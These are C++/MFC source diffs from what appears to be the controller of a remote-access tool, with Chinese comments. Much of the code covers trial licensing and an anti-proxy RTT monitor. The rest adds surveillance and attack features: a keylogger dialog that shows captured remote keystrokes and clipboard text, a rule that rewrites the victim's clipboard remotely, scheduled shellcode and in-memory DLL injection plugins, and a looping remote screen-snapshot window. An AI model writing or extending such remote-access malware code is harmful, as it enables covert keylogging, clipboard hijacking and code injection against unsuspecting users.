// 全局 licenses.ini 互斥锁Meyers singleton跨翻译单元共享
// 所有读写 licenses.ini 的函数入口必须加锁,否则在心跳并发下会出现
// read-modify-write 丢更新典型受害者PendingQuota / IP 列表)。
// 使用 recursive_mutex 是因为部分函数会嵌套调用(如 DecrementPendingQuota → ClearPendingRenewal
std::recursive_mutex& LicensesIniMutex();
// 让 UpdateLicenseActivity 内部缓存里某个 SN 的 entry 失效。
// 必须在外部修改了授权(删除 / 重新创建 section后调用否则 cache 命中策略
// 会跳过本应触发的"既往授权自动加入"路径,导致 disk 上的 section 不会重建。
// 实现在 CPasswordDlg.cpp需持 LicensesIniMutex内部会自行加锁可在已加锁线程嵌套调用
void InvalidateLicenseActivityCache(const std::string& deviceID);
// CPasswordDlg 对话框
namespace TcpClient {
std::string ObfuscateAuthorization(const std::string& auth);

View File

@@ -7,6 +7,68 @@
#include <iostream>
#include <ws2tcpip.h>
// 服务端 RTT 反代理(试用版执法)。声明在主对话框 cpp 中,无单独头文件。
BOOL IsTrail(const std::string& passcode);
// ============================================================================
// SIO_TCP_INFO 兼容性 shim
//
// SIO_TCP_INFO 自 Win10 1703 / Server 2016 起提供,对应的 SDK 头声明只在
// NTDDI_VERSION >= NTDDI_WIN10_RS2 (0x0A000003) 时才可见。本项目当前
// _WIN32_WINNT=0x0602 / NTDDI_VERSION=0x06020000Win8整体上调宏会
// 波及其他模块,且会排除 Win8/8.1 用户。因此在此处本地声明常量与结构,
// 运行时若 OS 不支持WSAIoctl 会返回 WSAEOPNOTSUPP由探测代码静默降级。
//
// 结构体字段顺序严格遵循 MS 公开的 TCP_INFO_v0 定义,不要随意调整。
// ============================================================================
#ifndef SIO_TCP_INFO
#define SIO_TCP_INFO _WSAIORW(IOC_VENDOR, 39)
#endif
typedef struct _TCP_INFO_v0_local {
ULONG State; // TCPSTATE枚举按 4 字节读)
ULONG Mss;
ULONG64 ConnectionTimeMs;
UCHAR TimestampsEnabled;
UCHAR Pad_[3]; // 显式 padding让 RttUs 落在 4 字节边界
ULONG RttUs; // <-- 本文件唯一关心的字段
ULONG MinRttUs;
ULONG BytesInFlight;
ULONG Cwnd;
ULONG SndWnd;
ULONG RcvWnd;
ULONG RcvBuf;
ULONG64 BytesOut;
ULONG64 BytesIn;
ULONG BytesReordered;
ULONG BytesRetrans;
ULONG FastRetrans;
ULONG DupAcksIn;
ULONG TimeoutEpisodes;
UCHAR SynRetrans;
} TCP_INFO_v0_local;
// 读取 socket 的内核测得 RTT。成功返回 0 并写入 *rttUs失败返回 WSAGetLastError()。
static int QuerySocketTcpRttUs(SOCKET s, uint32_t* rttUs)
{
TCP_INFO_v0_local info; ZeroMemory(&info, sizeof(info));
DWORD ver = 0; // request v0
DWORD bytesReturned = 0;
int ret = WSAIoctl(s, SIO_TCP_INFO,
&ver, sizeof(ver),
&info, sizeof(info),
&bytesReturned, NULL, NULL);
if (ret == 0) {
if (rttUs) *rttUs = info.RttUs;
return 0;
}
return WSAGetLastError();
}
// 全 server 进程级 latchIP 段触发与 RTT 触发共用。多 server 实例(多端口监听)共享一份,
// 任一先触发后其余 server 与其它触发路径不再重复弹框。
std::atomic<bool> IOCPServer::s_TrialAbuseWarned{false};
// Proxy Protocol v2 签名 (12 字节)
static const unsigned char PROXY_PROTOCOL_V2_SIGNATURE[12] = {
0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A
@@ -353,6 +415,13 @@ void IOCPServer::Destroy()
if (m_hKillEvent != NULL) {
SetEvent(m_hKillEvent);
// RTT 轮询线程要等它退出后再关 m_hKillEvent否则线程仍在 WaitForSingleObject 上时
// 关句柄是 UB。监听 / 工作线程是用 m_bTimeToKill 兜底的,原有时序不动。
if (m_hRttThread != NULL) {
WaitForSingleObject(m_hRttThread, 5000);
SAFE_CLOSE_HANDLE(m_hRttThread);
m_hRttThread = NULL;
}
SAFE_CLOSE_HANDLE(m_hKillEvent);
m_hKillEvent = NULL;
}
@@ -414,7 +483,10 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
m_nPort = uPort;
m_NotifyProc = NotifyProc;
m_OfflineProc = OffProc;
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
// manual-reset本进程内可能有多个等待者ListenThread / RttPollThreadProc
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout≤1s
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
m_hKillEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
if (m_hKillEvent==NULL) {
return 1;
@@ -507,6 +579,20 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
//启动工作线程 1 2
InitializeIOCP();
// 试用版反代理 RTT 轮询(仅在主控自身为试用模式时启动)。
// 检测信号来自内核 SIO_TCP_INFO详见 IOCPServer.h 头部 / RttPollThreadProc 注释。
{
std::string pwd = THIS_CFG.GetStr("settings", "Password", "");
m_bTrialMode = (IsTrail(pwd) == TRUE);
}
if (m_bTrialMode) {
m_hRttThread = CreateThread(NULL, 0, RttPollThreadProc, (void*)this, 0, NULL);
if (m_hRttThread == NULL) {
Mprintf("[Compliance] RTT poll thread spawn failed (err=%lu); LANRttChecker (client-side) remains as fallback.\n",
GetLastError());
}
}
return 0;
}
@@ -823,6 +909,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
assert(ContextObject);
// 输出服务端所发送的命令
int cmd = szBuffer[0];
#ifdef _DEBUG
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
char buf[100] = { 0 };
@@ -833,6 +920,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
}
Mprintf("[COMMAND] Send: %s\r\n", buf);
}
#endif
try {
do {
if (ulOriginalLength <= 0) return FALSE;
@@ -928,6 +1016,97 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
return FALSE;
}
// ============================================================================
// 试用版反代理 —— 服务端 RTT 轮询线程
//
// 仅在主控自身处于试用模式IsTrail(passcode) == TRUE时由 StartServer 启动。
// 1 Hz 遍历 m_ContextConnectionList对每个活跃连接调 WSAIoctl(SIO_TCP_INFO) 取
// 内核测得的纯网络 RTT喂给 ctx->m_RttDetector。任一 detector 首次触发 →
// 通过 s_TrialAbuseWarned latch 抢一次 PostMessage 给主窗口弹框;其余 detector
// 仍照常运转(继续记日志),但不再重复弹框。
//
// 并发模型:对齐既有 IoRefCount / IsRemoved 模式 —— 持 m_cs snapshot 指针并
// 引用计数 ++,锁外做 WSAIoctl + 写 atomic最后引用计数 --。RemoveStaleContext
// 会等 IoRefCount==0 才回收,无悬空指针。
//
// 不支持 SIO_TCP_INFO 的 OSWin8 / Server 2012 等):首次探测命中
// WSAEOPNOTSUPP 时打日志后线程自行退出;客户端 LANRttChecker 仍作为兜底。
// ============================================================================
DWORD IOCPServer::RttPollThreadProc(LPVOID lParam)
{
IOCPServer* This = (IOCPServer*)lParam;
while (!This->m_bTimeToKill) {
DWORD waitRet = WaitForSingleObject(This->m_hKillEvent, 1000);
if (waitRet == WAIT_OBJECT_0 || waitRet == WAIT_FAILED) break;
if (This->m_bTimeToKill) break;
// —— 步骤 1持锁快照 + 占引用 —— 锁外才做 WSAIoctl避免阻塞其他 I/O
std::vector<PCONTEXT_OBJECT> snap;
EnterCriticalSection(&This->m_cs);
for (POSITION pos = This->m_ContextConnectionList.GetHeadPosition(); pos != NULL; ) {
PCONTEXT_OBJECT ctx = This->m_ContextConnectionList.GetNext(pos);
if (!ctx) continue;
if (ctx->IsRemoved.load(std::memory_order_acquire)) continue;
ctx->IoRefCount.fetch_add(1, std::memory_order_acq_rel);
snap.push_back(ctx);
}
LeaveCriticalSection(&This->m_cs);
// —— 步骤 2OS 兼容性探测(一次性,借第一个真实连接做) —— 探测失败的 OS
// 上整个线程不必再活,本次循环把已占的引用还掉就退出。
if (!This->m_bSioTcpInfoProbed.load(std::memory_order_acquire) && !snap.empty()) {
uint32_t probeRtt = 0;
int err = QuerySocketTcpRttUs(snap[0]->sClientSocket, &probeRtt);
if (err == WSAEOPNOTSUPP) {
Mprintf("[Compliance] SIO_TCP_INFO not supported by OS (WSAEOPNOTSUPP); "
"server-side RTT monitoring disabled. Client-side LANRttChecker remains active.\n");
This->m_bSioTcpInfoSupported.store(false, std::memory_order_release);
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
for (auto* c : snap) c->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
break;
}
// 其它错误(如 WSAENOTCONN 短连接刚断)不视为 OS 问题,下一轮再试
if (err == 0) {
This->m_bSioTcpInfoSupported.store(true, std::memory_order_release);
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
Mprintf("[Compliance] SIO_TCP_INFO probe OK; server-side anti-proxy RTT monitor armed "
"(threshold=%d ms, trigger after >=%d consecutive median breaches @1Hz).\n",
TcpRttBreachDetector::RTT_THRESHOLD_MS, TcpRttBreachDetector::BREACH_PERSIST_COUNT);
}
}
// —— 步骤 3逐 ctx 取 RTT + 喂检测器 —— 同步释放引用
for (auto* ctx : snap) {
uint32_t rttUs = 0;
int err = QuerySocketTcpRttUs(ctx->sClientSocket, &rttUs);
if (err == 0 && rttUs > 0) {
ctx->SetRttUs(rttUs);
// RttUs 单位是微秒,转毫秒喂检测器
int rttMs = (int)((rttUs + 500) / 1000);
if (ctx->m_RttDetector.Feed(rttMs)) {
// 本 ctx 首次触发:记日志(每个 ctx 都记,便于排查 abusive 来源);
// 全 server 一次性 latch 决定要不要弹框
Mprintf("[Compliance] !!! Trial-mode anti-proxy triggered: client=%llu IP=%s "
"median RTT=%d ms (threshold=%d ms).\n",
ctx->ID, ctx->GetPeerName().c_str(),
ctx->m_RttDetector.TriggerMedianMs(),
TcpRttBreachDetector::RTT_THRESHOLD_MS);
bool expected = false;
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && This->m_hMainWnd) {
// WPARAM 携带 abusive ctx 的 ClientID 低 32 位仅用于展示LPARAM 携带 medianMs
PostMessageA(This->m_hMainWnd, WM_TRIAL_RTT_ABUSE,
(WPARAM)(ctx->ID & 0xFFFFFFFF),
(LPARAM)ctx->m_RttDetector.TriggerMedianMs());
}
}
}
ctx->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
}
}
return 0;
}
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //监听线程
{
IOCPServer* This = (IOCPServer*)(lParam);
@@ -1010,6 +1189,29 @@ void IOCPServer::OnAccept()
}
RecordConnection(clientIP);
// 试用版反代理 —— 入站 IP 段检测(即时触发,对合作型代理透明)
//
// 与 RttPollThreadProc 的 SIO_TCP_INFO 检测互补RTT 测的是"我↔直接 TCP 对端"
// 任何 TCP 终结型代理都能欺骗它;本检测用 Proxy Protocol v2 解出的真实 IP若有
// 或 getpeername 的 raw IP 直接判私网段。
// - 覆盖:直连 WAN、PP2 透出真实 IP 是公网
// - 不覆盖socat / 不发 PP2 的中转 —— 那种场景仍由客户端 LANRttChecker 兜底
//
// 性能:每个新连接走一次 IsPrivateIPv4Str几个位运算不放心跳路径可忽略。
// 不主动断开连接(与 RTT 路径一致仅告警),由运营商看到弹框后自行处置。
// 详见 docs/Compliance_TechnicalMeasures.md口径文档可能比这里更新
if (m_bTrialMode && !LANChecker::IsPrivateIPv4Str(clientIP)) {
Mprintf("[Compliance] !!! Trial-mode WAN inbound: IP=%s (resolved via %s).\n",
clientIP.c_str(),
ContextObject->GetPeerName().empty() ? "getpeername" : "Proxy Protocol v2 or getpeername");
bool expected = false;
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && m_hMainWnd) {
// CString* 由 OnTrialWanIpAbuse handler 负责 delete与 OnShowErrMessage 一致
PostMessageA(m_hMainWnd, WM_TRIAL_WAN_IP_ABUSE,
(WPARAM)new CString(clientIP.c_str()), 0);
}
}
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);

View File

@@ -78,9 +78,19 @@ protected:
void LoadIPWhitelist();
void LoadIPBlacklist();
// RTT 反代理(试用版执法)相关。详见 IOCPServer.cpp 中的实现注释。
HANDLE m_hRttThread = NULL;
bool m_bTrialMode = false; // StartServer 时根据 IsTrail(passcode) 缓存
std::atomic<bool> m_bSioTcpInfoProbed{false}; // 是否已完成 OS 兼容性探测
std::atomic<bool> m_bSioTcpInfoSupported{false}; // 探测结果(不支持则 RTT 线程会自行退出)
// 全 server 进程一次性 latchIP 段触发与 RTT 触发共用。任一先触发后另一者只记日志不再弹框,
// 避免对运营商反复打扰;不影响每条 abusive 连接的独立日志。
static std::atomic<bool> s_TrialAbuseWarned;
private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
BOOL InitializeIOCP(VOID);
VOID OnAccept();

View File

@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
#define SHOW_CLIP_TEXT WM_USER+201
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
#include "common/utf8.h"
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
if (len >= 4 + sizeof(TextReplace)) {
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
}
}
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
//{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
}
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
__super::PostNcDestroy();
}
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
BOOL CKeyBoardDlg::OnInitDialog()
{
__super::OnInitDialog();
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
RebuildEdit(m_edit);
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param);
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
case TOKEN_CLIP_TEXT: {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
if (len == 1) break;
char* buf = new char[len];
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
break;
}
default:
return;
}
}
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf);
SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str());
return S_OK;
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
__super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (IsWindowVisible())
/* if (IsWindowVisible())
ResizeEdit();
*/
}
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
DialogBase::OnClose();
}
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
{
CString rule;
m_EditClipRule.GetWindowTextA(rule);
auto utf8 = ansi_to_utf8(rule.GetString());
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
}

View File

@@ -54,6 +54,13 @@
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
public:
TextReplace m_TextRule = {};
CEdit m_EditClipText;
CEdit m_EditClipRule;
void RebuildEdit(CEdit& m_edit);
afx_msg void OnBnClickedBtnApplyTextrule();
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
};
//{{AFX_INSERT_LOCATION}}

View File

@@ -100,15 +100,17 @@ SNMatchResult ValidateLicenseSN(const std::string& licenseSN) {
}
return SNMatchResult::IPMismatch;
} else {
// Hardware binding: check if matches current device ID
// Use GetHardwareID() to respect HWIDVersion (V1 or V2)
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(0);
// 哈希 SN源头由本机 BindType 决定(硬件 ID 或 master/公网 IP
// 接收机在生成 SN 时已配置好 BindType这里直接读 settings 即可,
// 不能硬编码 0否则 IP 绑定的授权会被误判为硬件不匹配。
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID();
std::string hashedID = hashSHA256(hardwareID);
std::string currentDeviceID = getFixedLengthID(hashedID);
if (licenseSN == currentDeviceID) {
return SNMatchResult::Match;
}
return SNMatchResult::HardwareMismatch;
int bindType = THIS_CFG.GetInt("settings", "BindType", 0);
return (bindType == 1) ? SNMatchResult::IPMismatch : SNMatchResult::HardwareMismatch;
}
}

View File

@@ -69,8 +69,11 @@ BOOL CPluginSettingsDlg::OnInitDialog()
// 初始化调度模式下拉框
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时"));
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时"));
m_comboMode.InsertString(SCH_MODE_MONTHLY, _TR("每月定时"));
m_comboMode.InsertString(SCH_MODE_YEARLY, _TR("每年定时"));
m_comboMode.InsertString(SCH_MODE_OFF, _TR("关闭执行"));
m_comboMode.SetCurSel(SCH_MODE_NONE);
// 加载配置
@@ -105,8 +108,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
const char* runTypeNames[] = { "Shellcode", "内存DLL", "Inject SC"};
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时", "每月定时", "每年定时", "关闭执行", };
int index = 0;
for (const auto& dll : m_DllList) {
@@ -129,8 +132,8 @@ void CPluginSettingsDlg::LoadPluginsToList()
int runType = cfg ? cfg->RunType : info->RunType;
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
@@ -169,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo()
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL);
m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD);
m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE);
CString str;
str.Format(_T("%u"), interval);

View File

@@ -1,6 +1,7 @@
// PreviewTipWnd.cpp
#include "stdafx.h"
#include "PreviewTipWnd.h"
#include "resource.h" // IDI_ICON_SNAPSHOT循环模式标题栏图标
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
@@ -21,6 +22,9 @@ constexpr int LOADING_H = 270;
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
ON_WM_PAINT()
ON_WM_ERASEBKGND()
ON_WM_DESTROY()
ON_WM_SIZE()
ON_WM_GETMINMAXINFO()
END_MESSAGE_MAP()
CPreviewTipWnd::CPreviewTipWnd() = default;
@@ -28,11 +32,15 @@ CPreviewTipWnd::CPreviewTipWnd() = default;
CPreviewTipWnd::~CPreviewTipWnd()
{
// m_image 通过 unique_ptr 自动释放
if (m_hIconSmall) { ::DestroyIcon(m_hIconSmall); m_hIconSmall = nullptr; }
if (m_hIconBig) { ::DestroyIcon(m_hIconBig); m_hIconBig = nullptr; }
}
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
bool loopMode, const CStringW& windowTitle)
{
m_text = text;
m_loopMode = loopMode; // 注意:影响后续 SetImageFromJpeg / OnPaint / OnSize 行为
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
@@ -53,25 +61,60 @@ BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text,
HFONT hF = ::CreateFontIndirectW(&lf);
if (hF) m_font.Attach(hF);
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
// 窗口类:单发 tooltip 走 CS_SAVEBITS短时显示省 BitBlt
// 循环窗口是长存窗口,加 CS_HREDRAW|CS_VREDRAW 让拉伸时实时重绘
UINT classStyle = loopMode ? (CS_HREDRAW | CS_VREDRAW) : CS_SAVEBITS;
LPCTSTR kClass = AfxRegisterWndClass(
CS_SAVEBITS,
classStyle,
::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_INFOBK + 1),
(HBRUSH)(COLOR_BTNFACE + 1),
NULL);
// 临时尺寸RecalcLayoutAndResize 会在创建后调整
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
BOOL bOk = CWnd::CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
kClass, _T(""),
WS_POPUP | WS_BORDER,
rc, pParent, 0);
// 样式选择:
// 单发 tooltip —— WS_POPUP|WS_BORDER + EX_TOPMOST|TOOLWINDOW|NOACTIVATE
// (不激活、不上任务栏、置顶;光标移开会被主对话框关掉)
// 循环监视窗口 —— WS_OVERLAPPEDWINDOW (标题栏 / 系统菜单 / 最大化 / 最小化 / 可调整边框)
// + WS_EX_APPWINDOW强制独立任务栏图标便于多窗口切换
DWORD style = loopMode ? (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN)
: (WS_POPUP | WS_BORDER);
DWORD styleEx = loopMode ? WS_EX_APPWINDOW
: (WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE);
// 单发模式下窗口文本无意义(无标题栏可显示);循环模式下用宽字符 SetWindowTextW 显式设。
BOOL bOk = CWnd::CreateEx(styleEx, kClass, _T(""), style, rc, pParent, 0);
if (!bOk) return FALSE;
if (loopMode && !windowTitle.IsEmpty()) {
::SetWindowTextW(GetSafeHwnd(), windowTitle);
}
// 循环模式:给窗口装上眼睛图标(标题栏 + 任务栏 + Alt-Tab
// ICO 资源里包含 16x16 与 32x32 两份ICON_SMALL/ICON_BIG 各取最佳尺寸。
// HICON 由本类持有,析构时 DestroyIconWM_SETICON 不转移所有权)。
if (loopMode) {
m_hIconSmall = (HICON)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON),
LR_DEFAULTCOLOR);
m_hIconBig = (HICON)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON),
LR_DEFAULTCOLOR);
if (m_hIconSmall) SendMessage(WM_SETICON, ICON_SMALL, (LPARAM)m_hIconSmall);
if (m_hIconBig) SendMessage(WM_SETICON, ICON_BIG, (LPARAM)m_hIconBig);
}
RecalcLayoutAndResize();
ShowWindow(SW_SHOWNOACTIVATE);
// 单发:不激活;循环:正常显示,允许接收焦点(系统菜单 / 拖拽 / 最小化都需要可激活)
ShowWindow(loopMode ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE);
if (loopMode) {
// 任务栏图标 + 标题在多窗口情况下立刻可见
UpdateWindow();
}
return TRUE;
}
@@ -102,7 +145,11 @@ void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
m_image = std::move(bmp);
m_hasImage = true;
m_unavailable = false;
RecalcLayoutAndResize();
// 循环模式下窗口尺寸交给用户控制OnSize / WS_THICKFRAME后续帧不再自动重排版
// 只 Invalidate 触发重绘;图像在 OnPaint 中按 client rect 等比例适配。
if (!m_loopMode) {
RecalcLayoutAndResize();
}
if (GetSafeHwnd()) Invalidate();
}
@@ -113,6 +160,44 @@ void CPreviewTipWnd::MarkPreviewUnavailable()
if (GetSafeHwnd()) Invalidate();
}
void CPreviewTipWnd::SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId)
{
// 仅更新回调订阅m_loopMode 由 Create() 一次性设定,不在这里改 —— 否则
// CloseLoopTip 用 SetLoopOwner(NULL,0,0) 解订阅时会顺手把 loopMode 翻成 false
// 导致 PostNcDestroy 跳过 delete this → 每关一次循环窗口泄漏一个对象。
m_loopOwner = ownerHwnd;
m_loopMsg = msgId;
m_clientId = clientId;
}
void CPreviewTipWnd::OnDestroy()
{
// 在窗口实际销毁前回告 owner仅循环模式。owner 据此从映射表擦掉本条目。
// 注意:把字段先置零,避免极端情况下被 PostNcDestroy 再触发一次。
